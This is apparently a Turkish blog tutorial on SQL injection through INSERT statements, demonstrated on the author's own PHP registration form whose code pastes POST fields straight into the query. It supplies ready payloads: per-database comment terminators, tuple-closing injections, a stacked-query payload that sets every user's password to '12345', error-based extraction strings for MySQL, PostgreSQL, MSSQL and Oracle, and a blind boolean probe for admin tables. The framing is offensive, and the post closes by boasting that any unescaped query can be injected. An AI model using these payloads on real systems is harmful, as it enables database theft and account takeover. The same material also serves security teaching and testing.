17 Ekim 2015 Cumartesi

Insert bazlı Query'lerde SQL Injection

Bu yazımızda temelde insert cümlesi kullanan web sayfalarında SQL Injection saldırısı düzenlemeyi anlatacağım.

Insert cümlesi kullanan sayfalara örnek verecek olursak en güzel örnek register formları olacaktır. Bu yazımda kendi kodladığım bir register formunda SQL Injection yapacağım.

Formun PHP kodu aşağıdaki gibidir;


Kodumuz kullanıcıdan kadi, ad, soyad, email alarak register işlemi gerçekleştirmektedir. Bu verileri kullanıcı tablosuna insert etmektedir.

Formun görünümü aşağıdaki gibidir;


Verileri girip kaydol dediğinizde "Kayıt eklendi" demektedir.

Biz tırnak işareti kullanarak kayıt ekledik ve aldığımız yanıt şu şekildedir:


Tırnak işaretini bir değil 2 tane peş peşe koyarsak, veritabanı standartlarında escape edilerek string olarak tırnak işaretine dönüştürülecektir. Özel karakter olarak işlev görmeyecektir. Bu şekilde bir deneme yapalım:

Veritabanına nasıl eklendiğine bakalım:


Gördüğümüz gibi tırnak işareti kayıt metnine direk yansıdı, sorguyu bozmadı.

Bizim injection çektiğimiz kolon email kolonuydu. Şimdi biz mevcut insert cümlesini sonlandırmaya çalışacağız. Önce sorgunun orjinalinde işin nasıl gerçekleştiğine bakalım:

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, '".$_POST['kadi']."', '".$_POST['ad']."','".$_POST['soyad']."','".$_POST['email']."')

burada örneğin "kadi=asd&ad=asd&soyad=asd&email=asd@asd.com" yazmış olsaydık sorgu şu şekilde olacaktı;

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, 'asd','asd','asd','asd@asd.com')

Biz email kısmına ')-- girdiğimizde sorgu şu şekilde olacak;

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, 'asd','asd','asd','')--)

Mantıken baktığımızda emaile boş insert yapmış olacağız ancak deneme yaptığımızda kayıt eklenemedi. Bu sebeple biz sorgu sonlandırma karakteri olarak # karakterini kullanacağız. Mysql de bu karakterle de sorgu sonlandırmak mümkün. -- karakterleri ile mysql de bazen sonlandırma yapamıyoruz(bazen versiondan bazen de scriptte alınan önlemlerden kaynaklanmakta) ama diğer db'lerde sonlandırma yapabileceğimiz için onu da göstermiş olalım. Şimdi girdi olarak

')#

giriyoruz, aldığımız tepki aşağıdaki gibidir;

Bu arada veritabanı türlerine göre query sonlandırma karakterleri aşağıdaki gibidir;

Mysql:   -- ,  #
Oracle:  --
MsSQL: --, % 00(null byte)
Access% 00 (null byte)
PostgreSQL: --, % 00 (null byte)

SQLite: --, /*, % 00 (null byte)

IIS server kullanılıyorsa zaten yüksek ihtimalle % 00 tüm db'lerde çalışır. (Not: % 00 arasında boşluk olmayacak.)

Gördüğünüz gibi kayıt eklendi. Email kısmını boş olarak eklemiş olmamız lazım. Bunun için db'mizi kontrol edelim.



Evet 12 ve 13 id li kayıtlar boş email olarak denemelerimiz sırasında eklenmiş oldu.

Eğer email kolonumuzdan sonra başka kolonlarda insert ediliyor olsaydı, kayıt başarıyla eklendi uyarısı alana kadar aşağıdaki gibi denemeler yapacaktık.

','')#
','','')#
','','','')#

Peki mevcut query'yi sonlandıramasaydık ne yapacaktık?

O zaman 2 veri insert edermiş gibi query'yi tamamlamaya çalışacaktık. Önce insertte kaç kolon var onu tahmin etmemiz gerekecekti, daha sonra ilk insert cümlesini tamamlayıp 2. cümleyi açacaktık. Örnek vermek gerekirse, eğer 4 kolon olduğunu düşünseydik şu şekilde denemeler yapacaktık:

'),('','','','
',''),('','','
','',''),('','
','','',''),('

Burada amaç ilk query'yi tamamlayıp, 2. query'de sonuna eklenecek karakterlere göre hata vermeyip sorguyu tamamlayacak bir query üretmektir.

Örneğin ilk deneme doğruysa, son query şu şekilde olacaktır:

insert into bla values('bla','bla','bla',''),('','','','')

Tabi biz burda boş girdileri insert etmiş olduk. Boş olmama kuralı veya veri türü uyuşmazlıkları ihtimaline karşın aşağıdaki gibi bir girdi kullanmak daha akıllıca olur.

insert into bla values('bla','bla','bla',''),('2','2','2','2')

Şimdi biz istediğimiz veriyi ekliyoruz. Peki, başka neler yapabiliriz?

Burada önemli olan soru şudur, hangi veritabanı kullanılıyor?

Eğer kullanılan dbms "mssql" veya "postgresql" ise, "stacked query" desteğimiz var demektir. Bu da sorgu tipi insert olsa bile sonuna istediğimiz sorguyu ekleyebileceğimiz manasına gelir.

Örneğin şöyle bir saldırı kodu düşünelim;

');update users set password='12345' where username not in ('

Sorgunun son hali şöyle olacak:

insert into bla values('bla','bla','bla','');update users set password='12345' where username not in ('')

Burada hem insert query'si çalışacak, hem bizim update query'miz çalışacaktır.

Ancak dbms Oracle, Mysql, Access, Sqlite vb. ise sadece insert olan kısma müdahale edebiliriz.
Peki nasıl veri çekeriz?

Burada da aklımıza şöyle bir soru gelir, insert edilen verileri görebiliyor muyuz?

Eğer verileri görebiliyorsak email'e şöyle bir şey yazdığımızı düşünün:

asasd'),('','',version(),'','



17 id'li kayıt dikkatinizi çekmiştir herhalde ;)

Eğer insert tablosundaki verileri göremiyorsak, o zaman ne yapabiliriz?

Burada da bir soru sormak gerekir, db hataları detaylı bir şekilde ekrana yansıyor mu?

Eğer yansıyorsa Hata Bazlı Reflected Injection yapabiliriz. Bu çeşit bir saldırı için örnek kodlar aşağıdadır;

Mysql için:

asasd'),('','',extractvalue(rand(),concat(0x3a,version(),0x3a,user())),'','

veya 

asasd'),('','',(select 1 from(select count(*),concat((select table_name from information_schema.tables limit+0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'','



PostgreSQL için:

asasd'),('','',(select cast(current_user as int)),'','



Mssql için:

asasd'),('','',(select top 1 cast(name as int) from sysobjects),'','



Oracle için:

asasd'),('','',(select XMLType((‘<:’||user||’>’)) from dual),'','


Bu yazdığımız özel sorgular, hata mesajında bize istediğimiz veriyi verecektir.

Ancak bizim kodumuz hataları ekrana vermemekteydi. Blind injection yapmaktan başka şansımız kalmadı. Peki nasıl yaparız?

Burada biz neyi biliyoruz? Eğer iç sunucu hatası veren bir sorgu girilirse, "kayıt eklenemedi" ile karşılaşacağız.

O zaman biz de yazdığımız sorgu sonucu "true" çıktığında iç sunucu hatası verecek bir sorgu yazarız.

Örnek saldırı kodu aşağıdadır.

asasd'),('','',IF((select 1 from information_schema.tables where table_schema=database() and table_name like '%admin%'),(select 1 union select 2),1),'','


IF((select 1 from information_schema.tables where table_schema=database() and table_name like '%admin%'),(select 1 union select 2),1)

Eğer information_schema.tables'ta mevcut db'mizde, like '%admin%' şartını sağlayan bir tablo varsa, (select 1 union select 2), yoksa sadece 1 dönecektir.

True şartı sağlandığında (select 1 union select 2) - 2 elemanlı bir rowset döndüreceği için, syntaxa uygun olacak fakat, iç sunucu hatası verdirecektir.


Bu da içinde admin geçen bir tablomuz olduğu manasına gelir. Bu saldırı şekli Mysql'de kullanılır, çünkü Mysql'de tür dönüşümü uyumsuzlukları(int-char vb) ile iç sunucu hataları alınmamaktadır. Yine de başka türlü blind injection saldırıları da üretmek mümkündür.


Hee bu arada, Time Based Injection da yapılabilir ancak burada ihtiyaç yoktur. Zaten tespit edemediğimizde bu yönteme başvurmamız gerekir. Çünkü hiçbir denemede sayfadan bir tepki alamıyorsak; sayfaya yansımayan, ancak arka planda tetiklenme ihtimali olan injection'lar için Time Based denemeleri yapmak gerekir.


Insert bazlı query'ler bu şekilde inject edilebilmektedir. Bu tür insert cümleleri gösterdiğimiz gibi kayıt formları olabileceği gibi, veritabanı üzerine log tutan her yerde olabilir. Çünkü log mekanizması doğası gereği insert kullanmaktadır.  Özel karakterler escape edilmemiş HER QUERY inject edilebilir, etmesini bilene ;)